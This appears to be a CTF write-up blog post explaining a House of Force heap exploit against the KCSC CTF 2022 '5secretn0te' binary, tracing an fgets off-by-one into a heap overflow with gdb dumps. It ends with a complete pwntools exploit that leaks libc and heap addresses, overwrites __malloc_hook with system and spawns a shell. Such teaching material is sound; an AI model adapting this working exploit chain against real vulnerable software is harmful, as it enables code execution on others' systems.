• Author: 0xR0gues

Heap Adventure 0x01: House of force

Needed :

  • know the heap base address
  • Need a heap overflow to overwrite the top_chunk size
  • allocate arbitrary chunk size

KCSC_CTF 2022: 5secretn0te

When we start the bin, we have a menu :

╔════════════════════════════════╗
║         WELCOME TO KCSC        ║
╚════════════════════════════════┘
	  ╔══════════╗
	  ║██████████║
	  ║5ecretηΘ†E║
	  ║██████████║
	  ║██████████║
	  ║██████████║
	  ║██████████║
	  ╚══════════┘
[1] Create Page
[2] Edit Page
[3] Delete Page
[4] Show Page
[5] Quit
>>

As you can see, we can create, edit, delete and show a page When we create a chunk it ask for a username and a password :

Page no : 0
Enter username: Shimves
Enter password: 123456

Note structure :

0xdef280:	0x0000000000000000	0x0000000000000071 [0]
0xdef290:	0x0a7365766d696853	0x0000000000000000  --+
0xdef2a0:	0x0000000000000000	0x0000000000000000    |
0xdef2b0:	0x0000000000000000	0x0000000000000000    +-- char name[80]
0xdef2c0:	0x0000000000000000	0x0000000000000000    |
0xdef2d0:	0x0000000000000000	0x0000000000000000  --+
0xdef2e0:	0x0000000000000007	0x0000000000def270 [1][2]
  1. The chunk header
  2. the password lenght
  3. a pointer to another chunk which contain de the password

Chunk which hold the password is allocated before the chunk which hold the note

The vulnerability

The vulnerability reside in create() function which is called when we create a new page which to an heap overflow

So what is happening ?

Here is the stripped source code

	char name [80];
	char passwd [256];
	
    //... random stuff
    
    printf("Page no : %d\n",(ulong)(uint)i);
    printf("Enter username: ");
    fgets(name,0x51,stdin);
    
    printf("Enter password: ");
    fgets(passwd,0x101,stdin);
    
    size_dup = strlen(passwd);
    p_passwd = strdup(passwd);
    
    p_note = (note *)malloc(0x60);
    table[i] = p_note;
    
	insert(name,size_dup,p_passwd,i);

We have 2 buffers near each others and we :

  • read 0x51 ( 81 ) bytes in the name buffer
  • read 0x101 ( 257 ) bytes in the passwd buffer

There is no bof because we use fgets and fgets is a safe function ? … right ? ….

Well in fact there is a huge probleme, in C strings are null bytes terminated to know when the string end. functions like strlen, strcpy ( used by insert ) and strdup use the null byte to determine the size of the given string.
Refering to the man entry for fgets:

fgets() reads in at most one less than _size_ characters from _stream_ and stores them into the buffer pointed to by _s_ 
...
A terminating null byte (aq\0aq) is stored after the last character in the buffer

So fgets are going to read at most 80 bytes from stdin and use the last byte to store the null byte BUT this byte will overflow in the password buffer

Lets me show you with gdb :

pwndbg> disass create
   //skipped stuff
   0x00000000004016eb <+606>:	call   0x4011a0 <fgets@plt>
   0x00000000004016f0 <+611>:	lea    rdi,[rip+0x930]        # 0x402027
   0x00000000004016f7 <+618>:	mov    eax,0x0
   0x00000000004016fc <+623>:	call   0x401170 <printf@plt>
   0x0000000000401701 <+628>:	mov    rdx,QWORD PTR [rip+0x2928]        # 0x404030 <stdin@@GLIBC_2.2.5>
   0x0000000000401708 <+635>:	lea    rax,[rbp-0x110]
   0x000000000040170f <+642>:	mov    esi,0x101
   0x0000000000401714 <+647>:	mov    rdi,rax
   0x0000000000401717 <+650>:	call   0x4011a0 <fgets@plt>

Here is the calls to fgets, we put 2 breakpoints at 0x00000000004016eb <+606>: call 0x4011a0 <fgets@plt> and 0x0000000000401717 <+650>: call 0x4011a0 <fgets@plt>

The bug

► 0x4016eb <create+606>    call   fgets@plt                      <fgets@plt>
        s: 0x7ffca6714990 ◂— 0x0
        n: 0x51
        stream: 0x7f8d0f7aa9e0 (_IO_2_1_stdin_) ◂— 0xfbad2088

We hit the first breakpoint and we see the buffer is locate at 0x7ffca6714990 on the stack (randomized because aslr is enabled)

When we print the content of the buffer after executing the call, we get this:

pwndbg> x/10gx 0x7ffca6714990
0x7ffca6714990:	0x4141414141414141	0x4141414141414141
0x7ffca67149a0:	0x4141414141414141	0x4141414141414141
0x7ffca67149b0:	0x4141414141414141	0x4141414141414141
0x7ffca67149c0:	0x4141414141414141	0x4141414141414141
0x7ffca67149d0:	0x4141414141414141	0x4141414141414141

pwndbg> p &name
$2 = (char (*)[80]) 0x7ffca6714990

As you can see, we have sucessfully filled name buffer with 80 A + the null bytes

Now lets look at the passwd buffer:

pwndbg> x/20gx 0x7ffca6714990
				+------------------------------------------- char name[80]
				|
0x7ffca6714990:	0x4141414141414141	0x4141414141414141
0x7ffca67149a0:	0x4141414141414141	0x4141414141414141
0x7ffca67149b0:	0x4141414141414141	0x4141414141414141
0x7ffca67149c0:	0x4141414141414141	0x4141414141414141
0x7ffca67149d0:	0x4141414141414141	0x4141414141414141

				+------------------------------------------ char passwd[256]
				|
0x7ffca67149e0:	0x0000000000000000	0x0000000000000000
0x7ffca67149f0:	0x0000000000000000	0x0000000000000000
0x7ffca6714a00:	0x0000000000000000	0x0000000000000000
0x7ffca6714a10:	0x0000000000000000	0x0000000000000000
0x7ffca6714a20:	0x0000000000000000	0x0000000000000000

pwndbg> p &passwd
$4 = (char (*)[256]) 0x7ffca67149e0

But we have a probleme because remember the null bytes overflow on the passwd buffer. We can represent this is c like

 buffer[80] == passwd[0]

So when we will read the password from stdin and store it in the buffer, the content will overwrite the null byte of the name string

 ► 0x401717 <create+650>    call   fgets@plt                      <fgets@plt>
        s: 0x7ffca67149e0 ◂— 0x0
        n: 0x101
        stream: 0x7f8d0f7aa9e0 (_IO_2_1_stdin_) ◂— 0xfbad2088

After hiting the bp, step to the next instruction and lets inspect the content of password:

				+------------------------------------------ char name[80]
				|
0x7ffca6714990:	0x4141414141414141	0x4141414141414141
0x7ffca67149a0:	0x4141414141414141	0x4141414141414141
0x7ffca67149b0:	0x4141414141414141	0x4141414141414141
0x7ffca67149c0:	0x4141414141414141	0x4141414141414141
0x7ffca67149d0:	0x4141414141414141	0x4141414141414141
				+------------------------------------------ char passwd[256]
				|
0x7ffca67149e0:	0x4242424242424242	0x4343434343434343
0x7ffca67149f0:	0x000000000000000a	0x0000000000000000
0x7ffca6714a00:	0x0000000000000000	0x0000000000000000
0x7ffca6714a10:	0x0000000000000000	0x0000000000000000
0x7ffca6714a20:	0x0000000000000000	0x0000000000000000

As you can see, there is no null ptr at the end of name, because it was overwritten by the password and now name is considered as name + password:

pwndbg> p (char *)name
$9 = 0x7ffca6714990 'A' <repeats 80 times>, "BBBBBBBBCCCCCCCC\n"

Then lets inspect the insert function

The overflow

int insert(char *name,longlong size,char *passwd,int idx)

{
  table[idx]->pwLen = size;
  table[idx]->passwd = passwd;
  strcpy(table[idx]->name,name);
  return 0;
}

Here is the inspect function, you can see it copy the name into the table which is an array of note structure which look something like this :

typedef {
	char name[80];
	long pwnLen;
	char * passwd;
}struct note;

Remember due to the bug, the name copied into this struct may be biffer than 80 so this lead to an overflow on the heap ( because note are allocated on the heap by create) and we can overwrite the passwd pointeur.

Exploitation

Leaking Libc address

Now we need to leak libc address, the only way is to use the show function :

int show(void)

{
  uint uVar1;
  int idx;
  
  printf("Enter index: ");
  uVar1 = read_int();
  if (((-1 < (int)uVar1) && ((int)uVar1 < 10)) && (table[(int)uVar1] != (note *)0x0)) {
    printf("Page no : %d\nusername : %s\n",(ulong)uVar1,table[(int)uVar1]);
    printf("pwLen : %lld\npassword : %s\n",table[(int)uVar1]->pwLen,table[(int)uVar1]->passwd);
  }
  return 0;
}

It print the password which is normaly our password allocated on the heap but imagine the passwd field contain the address of a linked function which reside in the got ?

#!/bin/python
idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(elf.got["puts"]) , b"123456")

  

#LIBC

#Trigger the show function to leak libc address

print(" [+] Leaking libc address")

  

io.sendline(b"4")

io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))

io.recvuntil(b"password : ")

libc_leak = u64(io.recvline()[:-1] + b"\x00\x00")

print(f" [-] @puts is at : {hex(libc_leak)}")

  

libc.address = libc_leak - libc.sym.puts

print(f" [-] libc base address is {hex(libc.address)}")

We have sucessfully leaked the base address of libc, now lets leak the address of the heap.

Leaking heap address

we have the table which can be usefull to leak heap address, table is defined like this:

typedef {
	char name[80];
	long pwnLen;
	char * passwd;
}struct note;

note * table[10];

And table is a global array so it is stored in the data section which is static because there is no PIE, we can use the same process used for leaking libc to leak heap

# Heap

# table is at 0x404040 in the data section

print(" [+] Leaking heap address")

# Reuse the bug to leak the heap address

idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(0x404040), b"123456")

  

io.sendline(b"4")

io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))

io.recvuntil(b"password : ")

heap_leak = io.recvline()[:-1]

    heap_leak = u64(heap_leak + b"\x00" * (8 - len(heap_leak)))

print(f" [-] first note is at {hex(heap_leak)}")

House of force

The house of force vuln consist of overwriting the top_chunk size with an heap overflow to a big value, then allocation a huge chunk. After the chunk, the next chunk will be allocated at our desired value. With the command top_chunk we can print his address and his size. We can reuse the heap overflwo to overwrite his size field :

Top chunk
Addr: 0x62f420
Size: 0xffffffffffffffff

Here I have overwritten the size with the heap overflow and I have his address, so I just have to calculate the delta with our leaked chunk ( the first note).

pwndbg> print/x 0x62f420-0x62f290
$2 = 0x190

Now we need to allocate a chunk with the delta as size ( header included ) so lets look with edit function :

  printf("Enter index: ");
  idx_00 = read_int();
  if (((-1 < idx_00) && (idx_00 < 10)) && (table[idx_00] != (note *)0x0)) {
    printf("Enter username: ");
    fgets(name,0x51,stdin);
    printf("Enter pwLen: ");
    __size = read_ll();
    printf("Enter password: ");
    if ((long)__size < 0x101) {
      fgets(passwd,0x101,stdin);
      ptr = strdup(passwd);
    }
    else {
	  ptr = (char *)malloc(__size);     // We can allocate a chunk with an arbitrary size
      fgets(ptr,(int)__size + 1,stdin);
    }
    insert(name,__size,ptr,idx_00);
  }

You can see if the size is bigger than 0x101, edit will allocate a new chunk with the desired size.

# From heap overflow to house of force

print("[+] Overwriting the top_chunk size field")

# Overwrite top_chunk_size to a big value

idx = create(b"A" * 0x50 + b"B" * 24 + p64(0xffffffffffffffff), b"123456")

# Resolve the top_chunk address

top_chunk = heap_leak + 0x190

print(f" [-] top_chunk is at {hex(top_chunk)}")

# Calculate the delta

delta = (libc.sym.__malloc_hook - 0x20) - top_chunk

print(f" [-] delta between top_chunk and system is {hex(delta)}")

# Allocate a huge chunk with the delta size, we are going to use the edit function

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", bytes(str(delta), "utf-8"))

io.sendlineafter(b"password: ", b"123456")

print(f" [-] chunk with size {hex(delta)} allocated")

After inspecting the area around __malloc_hook we can predict where the next chunk will be allocated ( remember chunk header is 0x10 sized )

pwndbg>top_chunk
Top chunk
Addr: 0x7fbbf85aac00
Size: 0xffff80440900c819
pwndbg> dq &__malloc_hook-2
00007fbbf85aac00     00007fbbf8280ad0 ffff80440900c819
00007fbbf85aac10     0000000000000000 0000000000000000
00007fbbf85aac20     0000000100000000 0000000000000000
00007fbbf85aac30     0000000000000000 0000000000000000

Now we reuse edit to allocate a 8 bytes chunks and write in to it the address of system

# Allocate a new chunk with the edit function so we can choose the content

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", b"8")

io.sendlineafter(b"password: ", p64(libc.sym.system))

io.recvuntil(b">>")

print(f" [-] __malloc_hook overwrited with the address of system:{hex(libc.sym.system)}")

Then we need to call malloc again but the size should be the address of the string /bin/sh. As we do previously, we use edit again.

# Call malloc with the address of /bin/sh as argument

bin_sh = next(libc.search("/bin/sh"))

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", bytes(str(bin_sh), "utf-8"))

And now we have a shell :)

[+] Leaking libc address
    [-] @puts is at : 0x7f99f566d510
    [-] libc base address is 0x7f99f5600000
[+] Leaking heap address
    [-] first note is at 0x974290
[+] House of force
    [-] top_chunk_size field overwritten
    [-] top_chunk is at 0x974420
    [-] delta between top_chunk and system is 0x7f99f50367d0
    [-] chunk with size 0x7f99f50367d0 allocated
    [-] __malloc_hook overwrited with the address of system:0x7f99f5640ff0
    [-] pwned ...
[*] Switching to interactive mode
Enter password: $ ls
exploit.py  ld-2.26.so    libc-2.26.so  secretnote
$  

Here is the working exploit :

#!/bin/python

from pwn import *

  

context.terminal = [ "alacritty","-e"]

#context.log_level = "DEBUG"

elf = ELF("./secretnote")

libc = ELF("./libc-2.26.so")

  

if args.GDB:

io = gdb.debug(["./secretnote"])

else:

io = process(["./secretnote"])

  

def create(username:bytes, password:bytes)->int:

io.sendline(b"1")

io.recvuntil(b"Page no : ")

index = int(io.recvline())

io.sendlineafter(b"Enter username: ", username)

io.sendlineafter(b"Enter password: ", password)

io.recvuntil(b">>")

return index

  

#LIBC

print("[+] Leaking libc address")

  

# Create a note with huge username to trigger heap overflow

idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(elf.got["puts"]) , b"123456")

  

# Trigger show function to leak

io.sendline(b"4")

io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))

io.recvuntil(b"password : ")

libc_leak = io.recvline()[:-1]

libc_leak = u64(libc_leak + b"\x00" * (8 - len(libc_leak)))

print(f" [-] @puts is at : {hex(libc_leak)}")

  

libc.address = libc_leak - libc.sym.puts

print(f" [-] libc base address is {hex(libc.address)}")

  

# HEAP

# table is at 0x404040 in the data section

print("[+] Leaking heap address")

  

# Reuse the bug to leak the heap address

idx = create(b"A" * 0x50 + b"\xde" * 8 + p64(0x404040), b"123456")

  

io.sendline(b"4")

io.sendlineafter(b"Enter index: ", bytes(str(idx), "utf-8"))

io.recvuntil(b"password : ")

heap_leak = io.recvline()[:-1]

heap_leak = u64(heap_leak + b"\x00" * (8 - len(heap_leak)))

print(f" [-] first note is at {hex(heap_leak)}")

  

# From heap overflow to house of force

print("[+] House of force")

  

# Overwrite top_chunk_size to a big value

idx = create(b"A" * 0x50 + b"B" * 24 + p64(0xffffffffffffffff), b"123456")

print(f" [-] top_chunk_size field overwritten")

  

# Resolve the top_chunk address

top_chunk = heap_leak + 0x190

print(f" [-] top_chunk is at {hex(top_chunk)}")

  

# Calculate the delta

delta = (libc.sym.__malloc_hook - 0x20) - top_chunk

print(f" [-] delta between top_chunk and system is {hex(delta)}")

  

# Allocate a huge chunk with the delta size, we are going to use the edit function

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", bytes(str(delta), "utf-8"))

io.sendlineafter(b"password: ", b"123456")

io.recvuntil(b">>")

print(f" [-] chunk with size {hex(delta)} allocated")

  

# Allocate a new chunk with the edit function so we can choose the content

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", b"8")

io.sendlineafter(b"password: ", p64(libc.sym.system))

io.recvuntil(b">>")

print(f" [-] __malloc_hook overwrited with the address of system:{hex(libc.sym.system)}")

  

# Call malloc with the address of /bin/sh as argument

print(f" [-] pwned ...")

bin_sh = next(libc.search(b"/bin/sh"))

io.sendline(b"2")

io.sendlineafter(b"index: ", bytes(str(idx), "utf-8"))

io.sendlineafter(b"Enter username: ", b"0xdeadbeef")

io.sendlineafter(b"pwLen: ", bytes(str(bin_sh), "utf-8"))

  

io.interactive()